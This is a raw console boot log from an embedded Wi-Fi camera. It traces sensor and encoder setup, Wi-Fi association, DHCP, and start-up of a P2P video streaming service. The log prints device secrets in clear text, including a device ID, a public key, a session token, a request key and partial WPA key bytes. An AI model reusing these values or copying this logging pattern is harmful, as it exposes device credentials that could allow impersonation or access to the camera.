[I][0101 09:00:06.967][MI TIMER][mi_timer.c:301]timer: timeid(11) add!
[I][0101 09:00:07.468][MI IPC][linux_ot_stat.c:99]sync did 1107899811 done
[I][0101 09:00:07.468][MI TIMER][mi_timer.c:372]timer: timerid(11) delete!
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
Successfully initialized wpa_supplicant
[Sstar_log]:__ieee80211_start_scan:channels[20]
[Sstar_log]:ieee80211_prep_hw_scan:n_chans(14),space(20),index(0),scaned(0)
[Sstar_log]:Sstar_hw_scan:if_id(0)
[Sstar_log]:Sstar_hw_scan:scan, delay suspend
[Sstar_log]:scan start band(0),(14)
rfkill: Cannot open RFKILL control device
ctrl_iface exists and seems to be in use - cannot override it
Delete &#39;/var/run/wpa_supplicant/wlan0&#39; manually if it is not used anymore
Failed to initialize control interface &#39;/var/run/wpa_supplicant&#39;.
You may have another wpa_supplicant process already running or the file was
left by an unclean termination of wpa_supplicant in which case you will need
to manually remove this file before starting wpa_supplicant again.

nl80211: deinit ifname=wlan0 disabled_11b_rates=0
wifi_start&gt;&gt; hname:mxiang_camera_c301
udhcpc: started, v1.28.1
udhcpc: sending discover
[moshon_rpc_init][1269]entry
[moshon_rpc_init][1289]before moshon_api_db_get_value
[moshon_rpc_init][1292]did : 1107899811
[moshon_rpc_init][1339]exit
client [663] connected, module:sys
(ST_Sys_Init 192)exec function pclient [663] connected, module:sensor
ass
(ST_Sys_Init 198)exec function pass
[INFO]:ST_Sys_Init[199]:
u8Version:Sigmastar Module mi_sys version: project_commit.bebf9eb sdk_commit.ceb404d build_time.20210409114010
(ST_Sys_Init 201)exec function pass
[INFO]:ST_Sys_Init[202]:
u64Pts:0x86181e
(ST_Sys_Init 205)exec function pass
(ST_Sys_Init 208)exec function pass
(Mstar_stream_init 2152)exec funclient [663] connected, module:vif
u8DevId=0
ction pass
u8DevId=1
[ST_Vif_EnableDeHDN_sample 0, extheight 0
v 34]exec functiclient [663] connected, module:vpe
chipidx 4, revision 2
on pass
[ST_Vif_EnableDev 35]ex[DRV_SCL_MODULE] [DrvSclModuleClkInit @ 316] Use Default Clk [240000000]
ec function passCmdqProcInit 821

(Mstar_init_vi[CMDQ0] Virtual IRQ: 30
f 289)exec functCmdQ Free ID = 0, IspLocalCmdQHnd = 0xbf90f7d0
ion pass
[ST_ViISP_IRQ_WQ_FRAME_DONE add WQ error! fpCB=0x0, pData=0x0
f_CreatePort 72]ioc eRunningMode=24
exec function paCamOsMutexInit already inited, LR:0xBF82FFE7
ss
(Mstar_init_[0] AE=1, AWB=0, AF=0, nFlagCus3A = 0x02
vif 302)exec function pass
[ST_Vif_StartPort 89]exec function pass
(Mstar_init_vif 304)exec function pass
beal.......mode 24 24  .....
CUS3A ver : Sigmastar Module misc_cus3a version: project_commit.bebf9eb sdk_commit.ceb404d build_time.20210409114142
[MI_ISP_CUS3A_Enable] AE = 1, AWB = 0, AF = 0
change isproot : /config/iqfile
Load iq file /config/iqfile/iqfile0.bin
[MI_ISP_CUS3A_En[0] AE=1, AWB=1, AF=0, nFlagCus3A = 0x0A
able] AE = 1, AW[0] AE=1, AWB=1, AF=1, nFlagCus3A = 0x1A
B = 1, AF = 0
[client [663] connected, module:rgn
MI_ISP_CUS3A_Enable] AE = 1, AWB = 1, AF = 1
[ST_Vpe_CreateChanclient [663] connected, module:venc
nel 52]exec function pass
[ST_VCreate mi dev0
pe_StartChannel Create mi dev0
126]exec functio[CMDQ1] Virtual IRQ: 30
[MI WRN ]: _MI_VENC_CreateMiDevice[8343]: mi device:0 has been inited
n pass
(Mstar_sCreate mi dev1
tream_init 2176)Create mhal DEV0.
exec function pa[ven-m][wrap] venc_dev_preset:1419 GetMMaHeapName s32Ret=0xa009201f, u8MMAHeapName=.
ss
[ST_OSD_Init[ven-m][wrap] fw_path /config/venc_fw/chagall.bin
 135]exec function pass
(mstar_osd_init 2110)exec function pass
[ST_OSD_Create 142]exec function pass
[ST_OSD_Create 142]exec function pass
[ST_OSD_Create 142]exec function pass
[ST_OSD_Create 142]exec function pass
xxxxxxxxxxx........ST_Vpe_StartPort......0  0....
[ST_Vpe_StartPort 152]exec function pass
[ST_Vpe_StartPort 157]exec function pass
[ST_Vpe_StartPort 163]exec function pass
moshon test&gt;&gt;create venc chn ,pstAttr-&gt;stVeAttr.eType=4
Create mhal DEV1.
[ven-w][wrap] venc MMA callback function duplicate registration Force OverWrite!!
[ven-w][wrap] venc dev created, not support set E_MHAL_VENC_MAX_ENCODE_RESOLUTION, pls set before createdev
Create mhal DEV2.
[MI ERR ]: _MI_VENC_VerifyFps[3174]: Input invalid u32SrcFrmRateDen:0. Overwrite it into 1
[MI ERR ]: _MI_VENC_VerifyFps[3179]: Input invalid u32SrcFrmRateNum:0. Overwrite it into 30

moshon test&gt;&gt;.create chn 1,,MI_VENC_CreateChn=0
[INFO]:ST_Venc_CreateChannel[104]:
Get u32Qfactor:70 ret=0
[ST_Venc_CreateChannel 108]exec fclient [663] connected, module:divp
unction pass
xxDIP Device ID [0] has already init.
[DIP] Virtual IRQ: 36pe_StartPort......0  1....


[ST_Vpe_StartPort 152]exec function pass
[ST_Vpe_StartPort 157]exec function pass
[ST_Vpe_StartPort 163]exec function pass
[ST_Vpe_StartPort 166]exec function pass
moshon test&gt;&gt;create venc chn ,pstAttr-&gt;stVeAttr.eType=3
moshon test&gt;&gt;.create chn 1,,MI_VENC_CreateChn=0
[ST_Venc_Star[Sstar_log]:hw_priv-&gt;scan.status 0
[Sstar_log]:Sstar_scan_work:end(0)
tChannel 125]exec function pass
xxxxxxxxxxx........ST_Vpe_StartPort......0  2....
[ST_Vpe_StartPort 152]exec function pass
[ST_Vpe_StartPort 157]exec function pass
[ST_Vpe_StartPort 163]exec function pass
[ST_Vpe_StartPort 166]exec function pass
moshon test&gt;&gt;create venc chn ,pstAttr-&gt;stVeAttr.eType=3
moshon test&gt;&gt;.create chn 1,,MI_VENC_CreateC
===== [MhalCameraOpen] begin ===== VifMask : 2
Ch= 0, SNR ID: 0x0, VifCh = 0x0, PreOpen = 0
3DNR = 1, Rotation = 0, AckTie : 0
(W, H): (2272, 1296)
PixelFmt: 1, BayerID: 0, YuvOrder: 0
Mode: 0, HdrType: 0
hn=0
[ST_Venc_S[CameraReadIqData] isp root is /config/iqfile, nCh = 0
tartChannel 125]exec function pass
xxxxxxxxxxx........ST_Vpe_StartPort......0  [Sstar_log]:ieee80211_prep_hw_scan:n_chans(6),space(20),index(0),scaned(0)
3....
[ST_Vpe_S[Sstar_log]:Sstar_hw_scan:if_id(0)
tartPort 152]exe[Sstar_log]:Sstar_hw_scan:scan, delay suspend
[Sstar_log]:scan start band(1),(6)
[Sstar_log]:__ieee80211_scan_completed:1644

[ST_Vpe_StartPort 157]exec function pass
[ST_Vpe_StartPort 163]exec function pass
[ST_Vpe_StartPort 166]exec function pass
[sstar ae_init] isp_gain_max = 0x3fff, sgl_min = 0x400, sgl_max = 0xc2000, sgs_min  0x400, sgs_max = 0xc2000
[sstar ae_init], shl_min = 24 us, shl_max = 200000 us, shl_step = 24875 us, shs_min = 24 us, shs_max = 200000 us, shs_step = 24875 us
[sstar ae_init], FNum = 18, fps = 30
change isproot : /config/iqfile
Load iq file /config/iqfile/iqfile0.bin
************ af_init **********
[MAJOR]: ispversion(1) in sdk, ispversion(1) in binfile.
[MINOR]: ispversion(6) in sdk, ispversion(8) in binfile.
warning warning!!!SDK &amp; iqbinfile minor version is not match.
[pAF_SetMotor-0123] Error paramters!! u16MinMotorPos = 320, u16MaxMotorPos = 700, u16HWMinMotorPos = 0, u16HWMaxMotorPos = 1
******************** Load api bin Success - /config/iqfiles/gc3003_MIPI_day.bin ********************
[Sstar_log]:hw_priv-&gt;scan.status 0
[Sstar_log]:Sstar_scan_work:end(0)
[Sstar_log]:stop scan:policy empty
[Sstar_log]:wlan0:free authen bss ++
[Sstar_log]:authen:(88:36:6c:42:c1:30),ssid(iptime 2.4 GHz)
[Sstar_log]:work suspend
[Sstar_log]:authenticate[88:36:6c:42:c1:30]:[0][1]
[Sstar_log]:wlan0: authenticate with 88:36:6c:42:c1:30 (try 1) (1)(0)
[Sstar_log]:[STA] Join DTIM: 1, interval: 100
[Sstar_log]:Sstar_set_pm:if_id(0) is not assco
[Sstar_log]:cancle_work_done:[88:36:6c:42:c1:30][15][11]
[Sstar_log]:wlan0: authenticated
[Sstar_log]:wlan0:free authen bss ++
[Sstar_log]:wlan0:free authen bss --
[Sstar_log]:sta has been insert(0)
[Sstar_log]:work:flush sta[88:36:6c:42:c1:30]
[Sstar_log]:cancle_work_done:[88:36:6c:42:c1:30][15][11]
[Sstar_log]:wlan0: associated
[Sstar_log]:wlan0:free authen bss ++
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:[88:36:6c:42:c1:30]:20M channel
[Sstar_log]:Sstar_bss_info_changed:chatype(1),channelNumber(2)
[Sstar_log]:ieee80211_recalc_ps:work busy
[Sstar_log]:[wlan0] Waiting Txq Ready[1]
[Sstar_log]:[88:36:6c:42:c1:30]:assc sucess band[0]
[Sstar_log]:work:flush sta[88:36:6c:42:c1:30]
[Sstar_log]:flush sta(0):
[Sstar_log]:[wlan0]:[8e88] deliver slow
[Sstar_log]:[wlan0]:down_eap_rate
[Sstar_log]:wlan0:2/4 Pairwise
[Sstar_log]:ieee80211_recalc_ps:work busy
[Sstar_log]:[wlan0]:dtim changed [0]-&gt;[1]
[Sstar_log]:ieee80211_process_addba_request:mac[88:36:6c:42:c1:30],tid[5]
[Sstar_log]:AMPDU[wlan0]:action[0],tid[5],ssn[0],buff_size[0],token[0],ta[88:36:6c:42:c1:30]
[DoAe] Frame Counts =     15, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] F[Sstar_log]:ieee80211_process_addba_request:mac[88:36:6c:42:c1:30],tid[0]
rame Counts (Current/Delay) = ( 1, 1), FPS - (Current,Deband) = ( 20000, 13750)
[ST_Venc_StartChannel 125]exec function pass
[Sstar_log]:AMPDU[wlan0]:action[0],tid[0],ssn[1],buff_size[0],token[1],ta[88:36:6c:42:c1:30]
interface state: UP
get ip addr fail
[DoAe] Frame Counts =     16, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFr[Sstar_log]:[wlan0]:[8e88] deliver slow
equencyDetect] F[Sstar_log]:[wlan0]:down_eap_rate
[Sstar_log]:wlan0:4/4 Pairwise
rame Counts (Current/Delay) = ( 1, 2), FPS - (Current,Deband) = ( 20000, 13750)
[W][0101 09:00:10.136][MI MESSAGE][mi_message.c:761]fromid:7.toid:1,key:_internal.info,cost_ms:22
[Sstar_log]:3SET_KEY:idx(0),if_id(0)
[Sstar_log]:3SET_KEY:idx(1),if_id(0)
[DoAe] Frame Counts =     17, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( [Sstar_log]:ieee80211_recalc_ps:work busy
1, 3), FPS - (Current,Deband) = ( 20000, 13750)
[Sstar_log]:KEK[80][87][144][186]
[Sstar_log]:KCK[108][115][97][211]
[DoAe] Frame Counts =     18, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 4), FPS - (Current,Deband) = ( 20000, 13750)
[DoAe] Frame Counts =     19, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 5), FPS - (Current,Deband) = ( 20000, 13750)
udhcpc: performing DHCP renew
udhcpc: sending discover
[DoAe] Frame Counts =     20, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 6), FPS - (Cu[Sstar_log]:dhcp work(1)
rrent,Deband) = ( 20000, 13750)
[ALGO_MSG_MSG] [AGC]AGC IC check pass. ver.2024.0202.0000
[ALGO_MSG_MSG] [AGC]FFT mode: floating point mode
[ALGO_MSG_MSG] [AGC]Point Number: 128
[ALGO_MSG_MSG] [AGC]Channel: 1
[ALGO_MSG_MSG] [AGC]Sample rate: 16000
[ALGO_MSG_MSG] |--------------------------------------------------------------------------------|
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |                                   NEON ENABLE                                  |
[ALGO_MSG_MSG] |                                client [663] connected, module:ai
                [AUDIO ERROR]DrvAudApiDtsInit, Failed to gpio_request amp-gpio !
                [AUDIO ERROR]DrvAudApiDtsInit, amp-gpio will use default:65535 0 !
                |
[ALGO_MSG_MSG[Sstar_log]:[wlan0]:[8] deliver slow
] |-------------[Sstar_log]:dhcp done
[_MI_AI_IMPL_AllocTmpBuffer:3844] tmp buffer addr[c43f7000].
-------------------------------------------------------------------|
[ALGO_MSG_MSG] |------------------------------------------[Sstar_log]:dhcp work(1)
--------------------------------------|
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |                                   NEON ENABLE                                  |
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |--------------------------------------------------------------------------------|
[ALGO_MSG_MSG] [AGC]AGC internal initialize succeed
[ALGO_MSG_MSG] Checking IC....
[ALGO_MSG_MSG] [APC]APC IC check pass. ver.2024.0202.0000
[ALGO_MSG_MSG] [APC]FFT mode: floating point mode.
[ALGO_MSG_MSG] [APC]Point Number: 128
[ALGO_MSG_MSG] [APC]Channel: 1
[ALGO_MSG_client [663] connected, module:ao
[_MI_AO_Init:1248] Init Ao Gain.
MSG] [APC]Sample rate: 16000
[ALGO_MSG_MSG] |---------------------------------[Sstar_log]:[wlan0]:[8] deliver slow
----------------[Sstar_log]:dhcp done----------------NOHZ: local_softirq_pending 08
---------------|
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |                                   NEON ENABLE                                  |
[ALGO_MSG_MSG] |                                        [Sstar_log]:connecting done
                                        |
[ALGO_MSG_MSG] |--------------------------------------------------------------------------------|
[ALGO_MSG_MSG] [ANR] Converge mode: Normal.
[ALGO_MSG_MSG] |--------------------------------------------------------------------------------|
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |                                   NEON ENABLE                                  |
[ALGO_MSG_MSG] |                                                                                |
[ALGO_MSG_MSG] |--------------------------------------------------------------------------------|
[ALGO_MSG_MSG] [APC]APC internal initialize succeed
[ALGO_MSG_MSG] apc_handle-&gt;reduce_latency_flag:1
[ALGO_MSG_MSG] [ANR] Read and Load json file /mnt/data/NrJson.json successfully.
[INFO]:Mstar_AI_init[1757]:
audio_ai_apc_init ret=0
[DoAe] Frame Counts =     21, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 7), FPS - (Current,Deband) = ( 20000, 13750)
udhcpc: sending select for 192.168.0.58
[DoAe] Frame Counts =     22, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 8), FPS - (Current,Deband) = ( 20000, 13750)
[DoAe] Frame Counts =     23, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1, 9), FPS - (Current,Deband) = ( 20000, 13750)
[MI WRN ]: _MI_AI_OpenAecLib[4220]:  _MI_AI_OpenAecLib: dlsym IaaAec_GenKey failed, Unable to resolve symbol
[MI WRN ]: _MI_AI_OpenVqeLib[4320]:  _MI_AI_OpenVqeLib: dlsym IaaApc_GetLibVersion failed, Unable to resolve symbol
 _MI_AI_OpenSrcLib: Can not load libSRC_LINUX.so!
 _MI_AI_OpenG711Lib: Can not load libg711.so!
 _MI_AI_OpenG726Lib: Can not load libg726.so!
 _MI_AI_OpenAedLib: Can not load libAED_LINUX.so!
 _MI_AI_OpenSslLib: Can not load libSSL_LINUX.so!
 _MI_AI_OpenBfLib: Can not load libBF_LINUX.so!
[DoAe] Frame Counts =     24, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 1,10), FPS - (Current,Deband) = ( 20000, 13750)
[AE_FlickerFrequencyDetect] Get Acc - frame counts (60Hz/50Hz) = ( 5, 7)
udhcpc: lease of 192.168.0.58 obtained, lease time 7200
deleting routers
[MI WRN ]: _MI_AO_OpenVqeLib[2022]:  _MI_AO_OpenVqeLib: dlsym IaaApc_GetLibVersion failed, Unable to resolve symbol
 _MI_AO_OpenSrcLib: Can not load libSRC_LINUX.so!
 _MI_AO_OpenG711Lib: Can not load libg711.so!
 _MI_AO_OpenG726Lib: Can not load libg726.so!
[DoAe] Frame Counts =     25, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 2,10), FPS - (Current,Deband) = ( 20000, 13750)
adding dns 121.88.255.50
adding dns 121.88.255.49
wifi_start&gt;&gt; get ip addr :
[ALGO_MSG_MSG] [_IaaAec_GetBufferSize]Working buffer size = 84440 bytes
[ALGO_MSG_ERR] ALGO_MSG_ERR
[ALGO_MSG_WRN] ALGO_MSG_WRN
[ALGO_MSG_MSG] ALGO_MSG_MSG
[ALGO_MSG_MSG] [AEC]AEC IC check pass. ver.2024.0204.0000
[ALGO_MSG_MSG] [AEC]Setting: [128][8]
[ALGO_MSG_MSG] --------------------------------------------------------------------------------
[ALGO_MSG_MSG]                                                                  
[ALGO_MSG_MSG]                                    NEON ENABLE                   
[ALGO_MSG_MSG]                                                                  
[ALGO_MSG_MSG] --------------------------------------------------------------------------------
[ALGO_MSG_MSG] [AEC]Floating point mode.
[DoAe] Frame Counts =     26, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 3,10), FPS - (Current,Deband) = ( 20000, 13750)
wifi_start&gt;&gt; ip:192.168.0.58
wifi_start&gt;&gt; wifi_sta_mode success
wifi_start&gt;&gt; exit
wifi_start&gt;&gt; success
[DoAe] Frame Counts =     27, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 4,10), FPS - (Current,Deband) = ( 20000, 13750)

[AE_FlickerFrequencyDetect] avg = 7076, avg60 = 99999, avg50 = 99999, RegreshCnt = 4
[DoAe] Frame Counts =     28, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 5,10), FPS - (Current,Deband) = ( 20000, 13750)

[AE_FlickerFrequencyDetect] avg = 187, avg60 = 187, avg50 = 99999, RegreshCnt = 5
[DoAe] Frame Counts =     29, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 6,10), FPS - (Current,Deband) = ( 20000, 13750)

[AE_FlickerFrequencyDetect] avg = 28, avg60 = 187, avg50 = 99999, RegreshCnt = 6
[DoAe] Frame Counts =     30, FPS - (Current,Deband) = ( 20000,     0)
[AE_FlickerFrequencyDetect] Frame Counts (Current/Delay) = ( 7,10), FPS - (Current,Deband) = ( 20000, 13750)

[AE_FlickerFrequencyDetect] avg = 41, avg60 = 187, avg50 = 41, RegreshCnt = 7
[AE_FlickerFrequencyDetect] HZ = 50
[I][0101 09:00:10.962][MI IPC][linux_ot_stat.c:156]update camera status wifi_connected
[I][0101 09:00:12.626][MI EVENT][event_manage.c:108]mi_event_manage_add_channel ok,channel:0
[I][0101 09:00:12.626][MI IPC][ipc.c:606]add video channel , encode : 5, resolution:w 2304,h 1296
[I][0101 09:00:12.626][MI IPC][ipc.c:628]add channel[0] ok, encode:5, buf_sec:7, fps:20, bitrate:2000
[I][0101 09:00:12.626][MI RINGBUF][ringbuffer.c:607]ringbuffer init : channel[0] bitrate[2000] fps[20], sec[7], maxFrame[768000]
[I][0101 09:00:12.629][MI RINGBUF][ringbuffer.c:663]Init Ring Buffer success: channel:0 size:1792000 nodes:140
[I][0101 09:00:12.630][MI RINGBUF][ringbuffer.c:664]ringbuffer channel 0 start addr 0xb5dd3008 , end addr 0xb5f88808
[I][0101 09:00:12.630][MI EVENT][event_manage.c:111]mi_event_manage_add_channel already,channel:0
[E][0101 09:00:12.631][MI EVENT][event_manage.c:113]mi_event_manage_add_channel err event_list_p is null,channel:0
[I][0101 09:00:12.631][MI IPC][ipc.c:606]add video channel , encode : 5, resolution:w 848,h 480
[I][0101 09:00:12.631][MI IPC][ipc.c:628]add channel[1] ok, encode:5, buf_sec:7, fps:20, bitrate:300
[I][0101 09:00:12.631][MI RINGBUF][ringbuffer.c:607]ringbuffer init : channel[1] bitrate[300] fps[20], sec[7], maxFrame[115200]
[I][0101 09:00:12.632][MI RINGBUF][ringbuffer.c:663]Init Ring Buffer success: channel:1 size:268800 nodes:140
[I][0101 09:00:12.632][MI RINGBUF][ringbuffer.c:664]ringbuffer channel 1 start addr 0xb5d91008 , end addr 0xb5dd2a08
[I][0101 09:00:12.632][MI IPC][ipc.c:619]add audio channel , samplerate : 16000, samplebit 16
[I][0101 09:00:12.632][MI IPC][ipc.c:628]add channel[4] ok, encode:1032, buf_sec:7, fps:25, bitrate:256
[I][0101 09:00:12.633][MI RINGBUF][ringbuffer.c:607]ringbuffer init : channel[4] bitrate[256] fps[25], sec[7], maxFrame[65536]
[I][0101 09:00:12.633][MI RINGBUF][ringbuffer.c:663]Init Ring Buffer success: channel:4 size:229376 nodes:175
[I][0101 09:00:12.634][MI RINGBUF][ringbuffer.c:664]ringbuffer channel 4 start addr 0x88ddd0 , end addr 0x8c5dd0
[ST_Venc_StopChannel 132]exec function pass
[ST_Venc_StopChannel 132]exec function pass
[ST_Venc_StopChannel 132]exec function pass
[ST_Venc_StartChannel 125]exec function pass
[ST_Venc_StartChannel 125]exec function pass
[ST_Venc_StartChannel 125]exec function pass
[MAJOR]: ispversion(1) in sdk, ispversion(1) in binfile.
[MINOR]: ispversion(6) in sdk, ispversion(8) in binfile.
warning warning!!!SDK &amp; iqbinfile minor version is not match.
[pAF_SetMotor-0123] Error paramters!! u16MinMotorPos = 320, u16MaxMotorPos = 700, u16HWMinMotorPos = 0, u16HWMaxMotorPos = 1
******************** Load api bin Success - /config/iqfiles/gc3003_MIPI_day.bin ********************
[MAJOR]: ispversion(1) in sdk, ispversion(1) in binfile.
[MINOR]: ispversion(6) in sdk, ispversion(8) in binfile.
warning warning!!!SDK &amp; iqbinfile minor version is not match.
[pAF_SetMotor-0123] Error paramters!! u16MinMotorPos = 320, u16MaxMotorPos = 700, u16HWMinMotorPos = 0, u16HWMaxMotorPos = 1
******************** Load api bin Success - /config/iqfiles/gc3003_MIPI_day.bin ********************

#SSNN_LIB_STATUS=FULL#

[MAJOR]: ispversion(1) in sdk, ispversion(1) in binfile.
[MINOR]: ispversion(6) in sdk, ispversion(8) in binfile.
warning warning!!!SDK &amp; iqbinfile minor version is not match.
[pAF_SetMotor-0123] Error paramters!! u16MinMotorPos = 320, u16MaxMotorPos = 700, u16HWMinMotorPos = 0, u16HWMaxMotorPos = 1
******************** Load api bin Success - /config/iqfiles/gc3003_MIPI_day.bin ********************
Network handle (0x827a88) is successfully created.
[I][0101 09:00:13.781][MI RPC][mi_rpc.c:481]add inner method [miIO.ota] ok
[I][0101 09:00:13.781][MI RPC][mi_rpc.c:481]add inner method [sdkinfo_resp] ok
[I][0101 09:00:13.781][MI RPC][mi_rpc.c:481]add inner method [ota.downgrade] ok
[I][0101 09:00:13.782][MI OTA][mi_ota.c:582]ota: init ok!
[I][0101 09:00:13.789][MI MISS][mi_p2p.c:1132]miss register rpc.ack done with 0
[I][0101 09:00:13.789][MI MISS][mi_p2p.c:1132]miss register _sync.miss_wakeup done with 0
[I][0101 09:00:13.789][MI MISS][mi_p2p.c:1132]miss register miss.set_vendor done with 0
[I][0101 09:00:13.789][MI MISS][mi_p2p.c:1132]miss register _sync.webrtc_signaling done with 0
[I][0101 09:00:13.789][MI MISS][mi_p2p.c:1132]miss register pub.miss_mirtc done with 0
[I][0101 09:00:13.791][MI MISS][mi_p2p.c:1132]miss register pub.miss_mirtc_ack done with 0
[I][0101 09:00:13.791][MI MISS][mi_p2p.c:1211]miss register upload_statistics done with 0
[I][0101 09:00:13.791][MI MISS][mi_p2p.c:1149]miss register method: _sync.miss_get_vendor
[I][0101 09:00:13.791][MI RPC][mi_rpc.c:481]add inner method [_sync.miss_get_vendor] ok
[I][0101 09:00:13.792][MI MISS][mi_p2p.c:1149]miss register method: miss.set_vendor
[I][0101 09:00:13.792][MI RPC][mi_rpc.c:481]add inner method [miss.set_vendor] ok
[I][0101 09:00:13.793][MI MISS][mi_p2p.c:1149]miss register method: _sync.miss_wakeup
[I][0101 09:00:13.793][MI RPC][mi_rpc.c:481]add inner method [_sync.miss_wakeup] ok
[I][0101 09:00:13.793][MI MISS][mi_p2p.c:1149]miss register method: _sync.webrtc_signaling
[I][0101 09:00:13.793][MI RPC][mi_rpc.c:481]add inner method [_sync.webrtc_signaling] ok
[I][0101 09:00:13.794][MI MISS][mi_p2p.c:1149]miss register method: pub.miss_mirtc
[I][0101 09:00:13.794][MI RPC][mi_rpc.c:481]add inner method [pub.miss_mirtc] ok
[I][0101 09:00:13.796][MI MISS][mi_p2p.c:1149]miss register method: pub.miss_mirtc_ack
[I][0101 09:00:13.796][MI RPC][mi_rpc.c:481]add inner method [pub.miss_mirtc_ack] ok
[I][0101 09:00:13.796][MI MISS][mi_p2p.c:1368]miss version is 3.2.10
[I][0101 09:00:13.796][MI MISS][mi_p2p.c:1410]max_session_num 3,did: 1107899811, mode: 0, hwyk: 0
create thread p2p_retry ok ,detch:no , stack 0x40000
create thread p2p_v ok ,detch:no , stack 0x100000
create thread p2p_a ok ,detch:no , stack 0x80000
[I][0101 09:00:13.797][MI MISS][mi_p2p.c:1448]p2p module init ok !
[I][0101 09:00:13.800][MI MISS][mi_p2p.c:1063]p2p audio audio send thread &gt;&gt;&gt;
[I][0101 09:00:13.800][MI MISS][mi_p2p.c:992]p2p enter video send thread &gt;&gt;&gt;
[I][0101 09:00:13.801][MI MISS][mi_p2p.c:919]miss server try init : did is 1107899811 , token len is 16
[I][0101 09:00:13.801][MISS][miss.c:464]miss version 3.2.10.1
[I][0101 09:00:13.801][MISS][miss.c:465]build time: Jan 18 2024 14:36:12...
[I][0101 09:00:13.801][MISS][miss.c:454]init_mode 0, support_type: 0
[I][0101 09:00:13.801][MISS][miss.c:542]miss check vendor interval: 80490
[I][0101 09:00:13.802][MISS][miss.c:555]max size of send(v:471040 a:2048) recv(v:-1 a:2048)
[I][0101 09:00:13.919][MISS][miss.c:559]gxb miss_server_init:559
[I][0101 09:00:13.919][MISS][miss.c:563]miss send _sync.miss_get_vendor rpc info.
[I][0101 09:00:13.920][MI MISS][mi_p2p_miss_porting.c:336]miss_rpc_send: rpc_handle:0x9e0020 , method: _sync.miss_get_vendor,  params:{&quot;public_key&quot;:&quot;f08fb89f75fe1141c04ba33cd66a7e0ea3b6f29a63152e290e6fb1eadafa7615&quot;, &quot;token&quot;:&quot;435877324c4d72456c3470434455705a&quot;,&quot;support_vendors&quot;:&quot;CS2&quot;,&quot;p2pkey_version&quot;:1, &quot;req_key&quot;:&quot;69ddcc3d7c136b1459296aa9f72783ee&quot;,&quot;miss_version&quot;:&quot;3.2.10.1&quot;}
[I][0101 09:00:13.920][MI MISS][mi_p2p_miss_porting.c:104]add rpc handle i = 0, rpc_id=340454765, is_mirtc=0, handle=0x9e0020, 0x9e0020
[I][0101 09:00:13.923][MI MISS][mi_p2p_miss_porting.c:212]method:, len: 61
[I][0101 09:00:13.923][MI MISS][mi_p2p_miss_porting.c:140]query rpc handle i = 0, id=340454765, is_mirtc:0, result=0x9e0020
[I][0101 09:00:13.923][MI MISS][mi_p2p_miss_porting.c:251]msg id = 340454765,  handlep=0x9e0020.
[I][0101 09:00:13.923][MI MISS][mi_p2p_miss_porting.c:329]miss send rpc message ok ;size 297 {&quot;id&quot;:340454765,&quot;method&quot;:&quot;_sync.miss_get_vendor&quot;,&quot;params&quot;:{&quot;public_key&quot;:&quot;f08fb89f75fe1141c04ba33cd66a7e0ea3b6f29a63152e290e6fb1eadafa7615&quot;,&quot;token&quot;:&quot;435877324c4d72456c3470434455705a&quot;,&quot;support_vendors&quot;:&quot;CS2&quot;,&quot;p2pkey_version&quot;:1,&quot;req_key&quot;:&quot;69ddcc3d7c136b1459296aa9f72783ee&quot;,&quot;miss_version&quot;:&quot;3.2.10.1&quot;}}
[I][0101 09:00:13.923][MISS][miss_internal.c:1059]send get_vendor cost:3 ms
[I][0101 09:00:13.924][MISS][miss.c:595]miss server init ok!cost: 123 ms
[I][0101 09:00:13.924][MI MISS][mi_p2p.c:925]miss server init ok!
[I][0101 09:00:13.924][MISS][miss.c:2197]miss_rpc_process IN, rpc_id:0x9e0020, len: 61
[E][0101 09:00:13.924][MISS][miss_json.c:358]there is no &#39;result&#39;!
[I][0101 09:00:13.924][MISS][miss.c:2222]miss_server_init::miss_server_get_vendor send _sync.miss_get_vendor ACK
[E][0101 09:00:13.925][MISS][miss_json.c:415]there is no &#39;result&#39;!
[E][0101 09:00:13.925][MISS][miss.c:2097]get p2p key error.
[E][0101 09:00:13.925][MISS][miss.c:2165]rpc error: 19, id: 0x9e0020
[E][0101 09:00:13.925][MI MISS][mi_p2p_miss_porting.c:617]miss_on_error: 19
[I][0101 09:00:13.929][MISS][miss.c:2233]miss_rpc_process OUT error_code 19,cost 5 ms
[I][0101 09:00:13.929][MISS][miss.c:661]miss_server_finish start....
[I][0101 09:00:14.264][MISS][miss.c:672]..........................close all session.
